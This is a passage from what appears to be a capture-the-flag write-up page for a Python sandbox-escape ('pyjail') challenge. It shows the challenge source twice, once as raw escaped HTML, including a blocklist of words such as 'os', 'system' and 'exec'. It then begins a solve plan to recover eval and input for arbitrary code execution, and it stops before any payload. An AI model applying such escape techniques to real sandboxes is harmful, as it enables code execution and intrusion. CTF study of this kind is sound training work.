&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"># |___|_| |_| |_| .__/ \___/|___/___/_|_.__/|_|\___| #
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"># _____ |_| #
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"># | ____|___ ___ __ _ _ __ ___ #
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"># | _| / __|/ __/ _` | &amp;#39;_ \ / _ \ #
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"># | |___\__ \ (_| (_| | |_) | __/ (Author: @uNickz) #
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"># |_____|___/\___\__,_| .__/ \___| #
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"># |_| #
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"># #
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d">############################################################
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d">&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>FLAG = &lt;span style="color:#fc6a5d">&amp;#34;srdnlen&lt;/span>&lt;span style="color:#fc6a5d">{fake_flag}&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">del&lt;/span> FLAG
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">class&lt;/span> &lt;span style="color:#5dd8ff">IE&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">__init__&lt;/span>(&lt;span style="color:#a167e6">self&lt;/span>) -&amp;gt; &lt;span style="color:#fc5fa3">None&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span>(BANNER)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Welcome to another Impossible Escape!&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;This time in a limited edition! More information here:&amp;#34;&lt;/span>, sys.version)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a167e6">self&lt;/span>.try_escape()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">code_sanitizer&lt;/span>(&lt;span style="color:#a167e6">self&lt;/span>, dirty_code: &lt;span style="color:#d0a8ff">str&lt;/span>) -&amp;gt; &lt;span style="color:#d0a8ff">str&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> &lt;span style="color:#d0a8ff">len&lt;/span>(dirty_code) &amp;gt; &lt;span style="color:#d0bf69">60&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Code is too long. Exiting.&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> not dirty_code.isascii():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Alien material detected... Exiting.&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> banned_letters = [&lt;span style="color:#fc6a5d">&amp;#34;m&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;w&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;f&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;q&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;y&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;h&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;p&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;v&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;z&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;r&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;x&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;k&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> banned_symbols = [&lt;span style="color:#fc6a5d">&amp;#34; &amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;@&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;`&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;&amp;#39;&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;-&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;+&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>&lt;span style="color:#fc6a5d">\\&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;&amp;#34;&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;*&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> banned_words = [&lt;span style="color:#fc6a5d">&amp;#34;input&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;self&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;os&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;try_escape&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;eval&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;breakpoint&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;flag&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;system&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;sys&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;escape_plan&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;exec&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> &lt;span style="color:#d0a8ff">any&lt;/span>(&lt;span style="color:#d0a8ff">map&lt;/span>(&lt;span style="color:#fc5fa3">lambda&lt;/span> c: c in dirty_code, banned_letters + banned_symbols + banned_words)):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Are you trying to cheat me!? Emergency exit in progress.&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> limited_items = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc6a5d">&amp;#34;.&amp;#34;&lt;/span>: &lt;span style="color:#d0bf69">1&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc6a5d">&amp;#34;=&amp;#34;&lt;/span>: &lt;span style="color:#d0bf69">1&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc6a5d">&amp;#34;(&amp;#34;&lt;/span>: &lt;span style="color:#d0bf69">1&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc6a5d">&amp;#34;_&amp;#34;&lt;/span>: &lt;span style="color:#d0bf69">4&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">for&lt;/span> item, limit in limited_items.items():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> dirty_code.count(item) &amp;gt; limit:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;You are trying to break the limits. Exiting.&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cool_code = dirty_code.replace(&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>&lt;span style="color:#fc6a5d">\\&lt;/span>&lt;span style="color:#fc6a5d">t&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>&lt;span style="color:#fc6a5d">\t&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>).replace(&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>&lt;span style="color:#fc6a5d">\\&lt;/span>&lt;span style="color:#fc6a5d">n&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> cool_code
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">escape_plan&lt;/span>(&lt;span style="color:#a167e6">self&lt;/span>, gadgets: &lt;span style="color:#d0a8ff">dict&lt;/span> = {}) -&amp;gt; &lt;span style="color:#fc5fa3">None&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a167e6">self&lt;/span>.code = &lt;span style="color:#a167e6">self&lt;/span>.code_sanitizer(&lt;span style="color:#d0a8ff">input&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Submit your BEST Escape Plan: &amp;#34;&lt;/span>).lower())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#d0a8ff">eval&lt;/span>(&lt;span style="color:#a167e6">self&lt;/span>.code, {&lt;span style="color:#fc6a5d">&amp;#34;__builtins__&amp;#34;&lt;/span>: {}}, gadgets)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">try_escape&lt;/span>(&lt;span style="color:#a167e6">self&lt;/span>) -&amp;gt; &lt;span style="color:#fc5fa3">None&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> tries = &lt;span style="color:#d0a8ff">max&lt;/span>(&lt;span style="color:#d0bf69">1&lt;/span>, &lt;span style="color:#d0a8ff">min&lt;/span>(&lt;span style="color:#d0bf69">7&lt;/span>, &lt;span style="color:#d0a8ff">int&lt;/span>(&lt;span style="color:#d0a8ff">input&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;How many tries do you need to escape? &amp;#34;&lt;/span>))))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">for&lt;/span> _ in &lt;span style="color:#d0a8ff">range&lt;/span>(tries):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a167e6">self&lt;/span>.escape_plan()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">if&lt;/span> &lt;span style="color:#41a1c0">__name__&lt;/span> == &lt;span style="color:#fc6a5d">&amp;#34;__main__&amp;#34;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">with&lt;/span> &lt;span style="color:#d0a8ff">open&lt;/span>(&lt;span style="color:#41a1c0">__file__&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;r&amp;#34;&lt;/span>) &lt;span style="color:#fc5fa3">as&lt;/span> file_read:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> file_data = re.sub(&lt;span style="color:#fc6a5d">r&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;srdnlen{.+}&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;srdnlen&lt;/span>&lt;span style="color:#fc6a5d">{REDATTO}&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>, file_read.read(), &lt;span style="color:#d0bf69">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">with&lt;/span> &lt;span style="color:#d0a8ff">open&lt;/span>(&lt;span style="color:#41a1c0">__file__&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;w&amp;#34;&lt;/span>) &lt;span style="color:#fc5fa3">as&lt;/span> file_write:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> file_write.write(file_data)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> IE()
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="solve">Solve&lt;/h2>
&lt;p>This challenge is a pyjail with the following limitations:&lt;/p></description><content type="html"><![CDATA[<h2 id="challenge">Challenge</h2>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#6c7986">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> sys
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> re
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>BANNER = <span style="color:#fc6a5d">r</span><span style="color:#fc6a5d">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">############################################################
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#       _                _   _                             #
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#      / \   _ __   ___ | |_| |__   ___ _ __               #
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#     / _ \ | &#39;_ \ / _ \| __| &#39;_ \ / _ \ &#39;__|              #
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#    / ___ \| | | | (_) | |_| | | |  __/ |                 #
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#   /_/   \_\_| |_|\___/ \__|_| |_|\___|_|                 #
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#      ___                               _ _     _         #
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#     |_ _|_ __ ___  _ __   ___  ___ ___(_) |__ | | ___    #
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#      | || &#39;_ ` _ \| &#39;_ \ / _ \/ __/ __| | &#39;_ \| |/ _ \   #
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#      | || | | | | | |_) | (_) \__ \__ \ | |_) | |  __/   #
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#     |___|_| |_| |_| .__/ \___/|___/___/_|_.__/|_|\___|   #
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#    _____          |_|                                    #
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#   | ____|___  ___ __ _ _ __   ___                        #
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#   |  _| / __|/ __/ _` | &#39;_ \ / _ \                       #
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#   | |___\__ \ (_| (_| | |_) |  __/   (Author: @uNickz)   #
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#   |_____|___/\___\__,_| .__/ \___|                       #
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#                       |_|                                #
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#                                                          #
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">############################################################
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>FLAG = <span style="color:#fc6a5d">&#34;srdnlen</span><span style="color:#fc6a5d">{fake_flag}</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">del</span> FLAG
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">class</span> <span style="color:#5dd8ff">IE</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">__init__</span>(<span style="color:#a167e6">self</span>) -&gt; <span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>(BANNER)
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;Welcome to another Impossible Escape!&#34;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;This time in a limited edition! More information here:&#34;</span>, sys.version)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a167e6">self</span>.try_escape()
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">code_sanitizer</span>(<span style="color:#a167e6">self</span>, dirty_code: <span style="color:#d0a8ff">str</span>) -&gt; <span style="color:#d0a8ff">str</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(dirty_code) &gt; <span style="color:#d0bf69">60</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;Code is too long. Exiting.&#34;</span>)
</span></span><span style="display:flex;"><span>            exit()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> not dirty_code.isascii():
</span></span><span style="display:flex;"><span>            <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;Alien material detected... Exiting.&#34;</span>)
</span></span><span style="display:flex;"><span>            exit()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        banned_letters = [<span style="color:#fc6a5d">&#34;m&#34;</span>, <span style="color:#fc6a5d">&#34;w&#34;</span>, <span style="color:#fc6a5d">&#34;f&#34;</span>, <span style="color:#fc6a5d">&#34;q&#34;</span>, <span style="color:#fc6a5d">&#34;y&#34;</span>, <span style="color:#fc6a5d">&#34;h&#34;</span>, <span style="color:#fc6a5d">&#34;p&#34;</span>, <span style="color:#fc6a5d">&#34;v&#34;</span>, <span style="color:#fc6a5d">&#34;z&#34;</span>, <span style="color:#fc6a5d">&#34;r&#34;</span>, <span style="color:#fc6a5d">&#34;x&#34;</span>, <span style="color:#fc6a5d">&#34;k&#34;</span>]
</span></span><span style="display:flex;"><span>        banned_symbols = [<span style="color:#fc6a5d">&#34; &#34;</span>, <span style="color:#fc6a5d">&#34;@&#34;</span>, <span style="color:#fc6a5d">&#34;`&#34;</span>, <span style="color:#fc6a5d">&#34;&#39;&#34;</span>, <span style="color:#fc6a5d">&#34;-&#34;</span>, <span style="color:#fc6a5d">&#34;+&#34;</span>, <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\\</span><span style="color:#fc6a5d">&#34;</span>, <span style="color:#fc6a5d">&#39;&#34;&#39;</span>, <span style="color:#fc6a5d">&#34;*&#34;</span>]
</span></span><span style="display:flex;"><span>        banned_words = [<span style="color:#fc6a5d">&#34;input&#34;</span>, <span style="color:#fc6a5d">&#34;self&#34;</span>, <span style="color:#fc6a5d">&#34;os&#34;</span>, <span style="color:#fc6a5d">&#34;try_escape&#34;</span>, <span style="color:#fc6a5d">&#34;eval&#34;</span>, <span style="color:#fc6a5d">&#34;breakpoint&#34;</span>, <span style="color:#fc6a5d">&#34;flag&#34;</span>, <span style="color:#fc6a5d">&#34;system&#34;</span>, <span style="color:#fc6a5d">&#34;sys&#34;</span>, <span style="color:#fc6a5d">&#34;escape_plan&#34;</span>, <span style="color:#fc6a5d">&#34;exec&#34;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">any</span>(<span style="color:#d0a8ff">map</span>(<span style="color:#fc5fa3">lambda</span> c: c in dirty_code, banned_letters + banned_symbols + banned_words)):
</span></span><span style="display:flex;"><span>            <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;Are you trying to cheat me!? Emergency exit in progress.&#34;</span>)
</span></span><span style="display:flex;"><span>            exit()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        limited_items = {
</span></span><span style="display:flex;"><span>            <span style="color:#fc6a5d">&#34;.&#34;</span>: <span style="color:#d0bf69">1</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#fc6a5d">&#34;=&#34;</span>: <span style="color:#d0bf69">1</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#fc6a5d">&#34;(&#34;</span>: <span style="color:#d0bf69">1</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#fc6a5d">&#34;_&#34;</span>: <span style="color:#d0bf69">4</span>,
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> item, limit in limited_items.items():
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">if</span> dirty_code.count(item) &gt; limit:
</span></span><span style="display:flex;"><span>                <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;You are trying to break the limits. Exiting.&#34;</span>)
</span></span><span style="display:flex;"><span>                exit()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        cool_code = dirty_code.replace(<span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\\</span><span style="color:#fc6a5d">t&#34;</span>, <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\t</span><span style="color:#fc6a5d">&#34;</span>).replace(<span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\\</span><span style="color:#fc6a5d">n&#34;</span>, <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> cool_code
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">escape_plan</span>(<span style="color:#a167e6">self</span>, gadgets: <span style="color:#d0a8ff">dict</span> = {}) -&gt; <span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#a167e6">self</span>.code = <span style="color:#a167e6">self</span>.code_sanitizer(<span style="color:#d0a8ff">input</span>(<span style="color:#fc6a5d">&#34;Submit your BEST Escape Plan: &#34;</span>).lower())
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> <span style="color:#d0a8ff">eval</span>(<span style="color:#a167e6">self</span>.code, {<span style="color:#fc6a5d">&#34;__builtins__&#34;</span>: {}}, gadgets)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">try_escape</span>(<span style="color:#a167e6">self</span>) -&gt; <span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>        tries = <span style="color:#d0a8ff">max</span>(<span style="color:#d0bf69">1</span>, <span style="color:#d0a8ff">min</span>(<span style="color:#d0bf69">7</span>, <span style="color:#d0a8ff">int</span>(<span style="color:#d0a8ff">input</span>(<span style="color:#fc6a5d">&#34;How many tries do you need to escape? &#34;</span>))))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> _ in <span style="color:#d0a8ff">range</span>(tries):
</span></span><span style="display:flex;"><span>            <span style="color:#a167e6">self</span>.escape_plan()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> <span style="color:#41a1c0">__name__</span> == <span style="color:#fc6a5d">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">with</span> <span style="color:#d0a8ff">open</span>(<span style="color:#41a1c0">__file__</span>, <span style="color:#fc6a5d">&#34;r&#34;</span>) <span style="color:#fc5fa3">as</span> file_read:
</span></span><span style="display:flex;"><span>        file_data = re.sub(<span style="color:#fc6a5d">r</span><span style="color:#fc6a5d">&#34;srdnlen{.+}&#34;</span>, <span style="color:#fc6a5d">&#34;srdnlen</span><span style="color:#fc6a5d">{REDATTO}</span><span style="color:#fc6a5d">&#34;</span>, file_read.read(), <span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">with</span> <span style="color:#d0a8ff">open</span>(<span style="color:#41a1c0">__file__</span>, <span style="color:#fc6a5d">&#34;w&#34;</span>) <span style="color:#fc5fa3">as</span> file_write:
</span></span><span style="display:flex;"><span>        file_write.write(file_data)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    IE()
</span></span></code></pre></div><h2 id="solve">Solve</h2>
<p>This challenge is a pyjail with the following limitations:</p>
<ul>
<li>We can&rsquo;t use the following characters:</li>
</ul>
<pre tabindex="0"><code>mwfqyhpvzrxk @`\&#39;-+\&#34;*
</code></pre><ul>
<li>We can&rsquo;t use the following words:
<code>input, self, os, try_escape, eval, breakpoint, flag, system, sys, escape_plan, exec</code></li>
<li>We can only use ASCII characters</li>
<li>Builtins are removed</li>
<li>Also, some characters have a limited usage
<ul>
<li>We can only use <code>)</code> once</li>
<li>We can only use <code>.</code> once</li>
<li>We can only use <code>=</code> once</li>
<li>We can only use <code>_</code> four times</li>
</ul>
</li>
</ul>
<p>A few important things:</p>
<ul>
<li>We can execute a maximum of 7 payloads, with a limit of 60 characters each.</li>
<li>The variables defined by us will persist between every payload execution.</li>
<li>The flag is in a variable called <code>FLAG</code>, which is deleted before executing our payloads and the string will be replaced with <code>srdnlen{REDATTO}</code></li>
</ul>
<p>Since we can&rsquo;t use certain characters, [this script](LINK HERE!!!!!!!!!!!!!!!!!!!) created two years ago by me, could come in handy.</p>
<p>My idea consists in grabbing <code>eval</code> and <code>input</code> so I can execute arbitrary code. Since there&rsquo;s a character blacklist I had to build the payload while minding the constraints:</p>
